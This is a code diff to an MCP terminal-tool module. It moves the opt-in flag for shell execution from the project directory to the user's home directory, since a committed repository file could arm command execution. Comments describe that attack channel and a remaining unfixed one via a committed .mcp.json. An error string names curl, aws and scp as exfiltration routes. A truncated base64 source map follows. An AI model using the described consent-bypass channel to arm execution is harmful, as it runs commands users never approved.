  // 1. `MONOMIND_ENABLE_TERMINAL=1` env var, OR
56
- // 2. `.monomind/enable-terminal.json` with `{ "enabled": true }`
56
+ // 2. `~/.monomind/enable-terminal.json` with `{ "enabled": true }`
57
57
  // Discovery (terminal_create/list/history) keeps working without opt-in.
58
- function isExecuteEnabled() {
59
- if (process.env.MONOMIND_ENABLE_TERMINAL === '1')
60
- return true;
58
+ //
59
+ // i-032a: the flag file used to be resolved against the PROJECT directory
60
+ // (`getProjectCwd()`), which meant a file checked into the repository armed
61
+ // shell execution for anyone who opened it — consent expressed by a file the
62
+ // user never saw and did not write. Reproduced end-to-end over the real MCP
63
+ // stdio path: a fixture with only that file present, env var unset, ran a
64
+ // real command. Since the metacharacter denylist above "cannot prevent
65
+ // exfiltration via direct binaries," the opt-in is the only line of defence,
66
+ // not a second one alongside it — so it must be an act of the user's own
67
+ // machine. The flag now resolves against the user's home directory instead.
68
+ //
69
+ // The in-project file is still DETECTED below (isProjectFlagFilePresent) so
70
+ // the refusal error can tell a legitimate user why their old file stopped
71
+ // working. It is never read for its `enabled` value and never migrated: a
72
+ // "helpful" first-run copy to ~/.monomind/ would preserve the exact same
73
+ // attack with one extra hop and a now-persistent grant.
74
+ //
75
+ // STATED BOUNDARY, not closed by this fix: `MONOMIND_ENABLE_TERMINAL=1` is
76
+ // still read from `process.env` with no provenance check, and monomind's
77
+ // own `init` writes a repo-local `.mcp.json` with an `env` block a project
78
+ // commits — so a committed `.mcp.json` carrying that var could arm this
79
+ // gate through a file the user never wrote either, the same channel one
80
+ // hop over. Not fixed here: whether an MCP client actually honours
81
+ // repo-local `env` for this var is unverified, not merely unclosed —
82
+ // tracked separately as o-48.
83
+ function readEnabledFlag(flagPath) {
61
84
  try {
62
- const flagPath = join(getProjectCwd(), STORAGE_DIR, 'enable-terminal.json');
63
85
  if (!existsSync(flagPath))
64
86
  return false;
65
87
  const parsed = JSON.parse(readFileSync(flagPath, 'utf-8'));
@@ -69,6 +91,23 @@ function isExecuteEnabled() {
69
91
  return false;
70
92
  }
71
93
  }
94
+ function homeFlagPath() {
95
+ return join(homedir(), STORAGE_DIR, 'enable-terminal.json');
96
+ }
97
+ function projectFlagPath() {
98
+ return join(getProjectCwd(), STORAGE_DIR, 'enable-terminal.json');
99
+ }
100
+ function isExecuteEnabled() {
101
+ if (process.env.MONOMIND_ENABLE_TERMINAL === '1')
102
+ return true;
103
+ return readEnabledFlag(homeFlagPath());
104
+ }
105
+ /** True if a (no-longer-honoured) in-project flag file exists. Used only to
106
+ * make the refusal error actionable for a legitimate user — never to grant
107
+ * execution, and its content is never inspected. */
108
+ function isProjectFlagFilePresent() {
109
+ return existsSync(projectFlagPath());
110
+ }
72
111
  function loadTerminalStoreOrNull() {
73
112
  return readJsonStoreOrNull(getTerminalPath(), { sessions: {}, version: '3.0.0' }, 'loadTerminalStore', 10 * 1024 * 1024);
74
113
  }
@@ -188,12 +227,16 @@ export const terminalTools = [
188
227
  required: ['command'],
189
228
  },
190
229
  handler: async (input) => {
191
- // C2: refuse execution unless the project has opted in. See
192
- // isExecuteEnabled() for the rationale and accepted opt-in signals.
230
+ // C2 / i-032a: refuse execution unless the USER (not the project) has
231
+ // opted in. See isExecuteEnabled() for the rationale and accepted
232
+ // opt-in signals.
193
233
  if (!isExecuteEnabled()) {
234
+ const projectFlagHint = isProjectFlagFilePresent()
235
+ ? ' Found .monomind/enable-terminal.json in this project — project files no longer grant terminal access (i-032a); it is ignored.'
236
+ : '';
194
237
  return {
195
238
  success: false,
196
- error: 'terminal_execute is disabled by default. Set MONOMIND_ENABLE_TERMINAL=1 or write .monomind/enable-terminal.json with {"enabled": true} to opt in. The metacharacter denylist cannot prevent exfiltration via direct binaries (curl, aws, scp).',
239
+ error: `terminal_execute is disabled by default. Set MONOMIND_ENABLE_TERMINAL=1 or write ~/.monomind/enable-terminal.json with {"enabled": true} to opt in. The metacharacter denylist cannot prevent exfiltration via direct binaries (curl, aws, scp).${projectFlagHint}`,
197
240
  };
198
241
  }
199
242
  const store = loadTerminalStoreOrNull();
@@ -1 +1 @@
1
- {"version":3,"file":"terminal-tools.js","sourceRoot":"","sources":["../../../src/mcp-tools/terminal-tools.ts"],"names":[],"mappings":"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